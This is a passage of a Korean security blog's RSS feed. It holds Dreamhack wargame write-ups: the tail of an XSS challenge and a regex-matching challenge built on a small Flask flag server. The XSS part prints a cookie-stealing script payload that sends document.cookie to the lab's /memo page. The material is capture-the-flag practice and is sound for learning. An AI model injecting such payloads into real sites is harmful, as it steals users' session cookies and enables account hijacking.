&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;`/vuln` 페이지에서 가져온 쿠키 값을 `/memo` 페이지에서 확인하려면 어떻게 해야 할까?&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1716524176700&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;location.href='/memo?memo=' + document.cookie;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이 스크립트가 `/vuln` 페이지에서 실행되도록 하면 Selenium으로 `/vuln` 페이지에 접속했을 때 삽입된 쿠키가 `/memo` 페이지의 쿼리 파라미터로 전송된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Wargame/Dreamhack</category>
      <category>Dreamhack</category>
      <category>WEB</category>
      <category>XSS</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/54</guid>
      <comments>https://oxahex.tistory.com/54#entry54comment</comments>
      <pubDate>Fri, 24 May 2024 13:18:00 +0900</pubDate>
    </item>
    <item>
      <title>ex-reg-ex</title>
      <link>https://oxahex.tistory.com/53</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/834&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;834&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;문제에서 요구하는 형식의 문자열을 입력하여 플래그를 획득하세요. 플래그는 `flag.txt` 파일과 `FLAG` 변수에 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;플래그 형식은 DH{...} 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;풀이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;해당&amp;nbsp;웹&amp;nbsp;서버&amp;nbsp;구동&amp;nbsp;코드는&amp;nbsp;다음과&amp;nbsp;같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716520102393&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template
import re

app = Flask(__name__)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()       # flag is here!
except:
    FLAG = &quot;[**FLAG**]&quot;

@app.route(&quot;/&quot;, methods = [&quot;GET&quot;, &quot;POST&quot;])
def index():
    input_val = &quot;&quot;
    if request.method == &quot;POST&quot;:
        input_val = request.form.get(&quot;input_val&quot;, &quot;&quot;)
        m = re.match(r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+', input_val)
        if m:
            return render_template(&quot;index.html&quot;, pre_txt=input_val, flag=FLAG)
    return render_template(&quot;index.html&quot;, pre_txt=input_val, flag='?')

app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;코드를&amp;nbsp;보면&amp;nbsp;Flag&amp;nbsp;파일은&amp;nbsp;서버에&amp;nbsp;저장되어&amp;nbsp;있고,&amp;nbsp;하단&amp;nbsp;if문의&amp;nbsp;정규식과&amp;nbsp;매치되면&amp;nbsp;Flag&amp;nbsp;파일이&amp;nbsp;반환된다.&amp;nbsp;따라서&amp;nbsp;이&amp;nbsp;문제는&amp;nbsp;`'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+'`&amp;nbsp;이&amp;nbsp;정규식을&amp;nbsp;이해하면&amp;nbsp;풀린다.&lt;br /&gt;&lt;br /&gt;`dr\w{5,7}e`를&amp;nbsp;먼저&amp;nbsp;보면&amp;nbsp;dr과&amp;nbsp;e&amp;nbsp;사이에&amp;nbsp;알파벳,&amp;nbsp;숫자&amp;nbsp;또는&amp;nbsp;언더스코어가&amp;nbsp;올&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;다만&amp;nbsp;5글자&amp;nbsp;이상,&amp;nbsp;7글자&amp;nbsp;이하여야&amp;nbsp;한다.&lt;br /&gt;&lt;br /&gt;그&amp;nbsp;다음으로&amp;nbsp;`/d+am@`&amp;nbsp;부분을&amp;nbsp;보면&amp;nbsp;1개&amp;nbsp;이상의&amp;nbsp;숫자와&amp;nbsp;am@가&amp;nbsp;와야&amp;nbsp;한다.&lt;br /&gt;&lt;br /&gt;`[a-z]{3,7}\.\w+`&amp;nbsp;부분을&amp;nbsp;보면&amp;nbsp;3글자&amp;nbsp;이상&amp;nbsp;7글자&amp;nbsp;이하의&amp;nbsp;알파벳&amp;nbsp;소문자와&amp;nbsp;마침표가&amp;nbsp;와야&amp;nbsp;한다.&amp;nbsp;그리고&amp;nbsp;적어도&amp;nbsp;1개&amp;nbsp;이상의&amp;nbsp;알파벳,&amp;nbsp;숫자&amp;nbsp;또는&amp;nbsp;언더스코어가&amp;nbsp;있어야&amp;nbsp;한다.&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;조건에&amp;nbsp;맞는&amp;nbsp;이메일&amp;nbsp;형식을&amp;nbsp;맞춰&amp;nbsp;제출하면&amp;nbsp;Flag를&amp;nbsp;얻을&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;</description>
      <category>Wargame/Dreamhack</category>
      <category>Dreamhack</category>
      <category>WEB</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/53</guid>
      <comments>https://oxahex.tistory.com/53#entry53comment</comments>
      <pubDate>Fri, 24 May 2024 12:08:51 +0900</pubDate>
    </item>
  </channel>
</rss>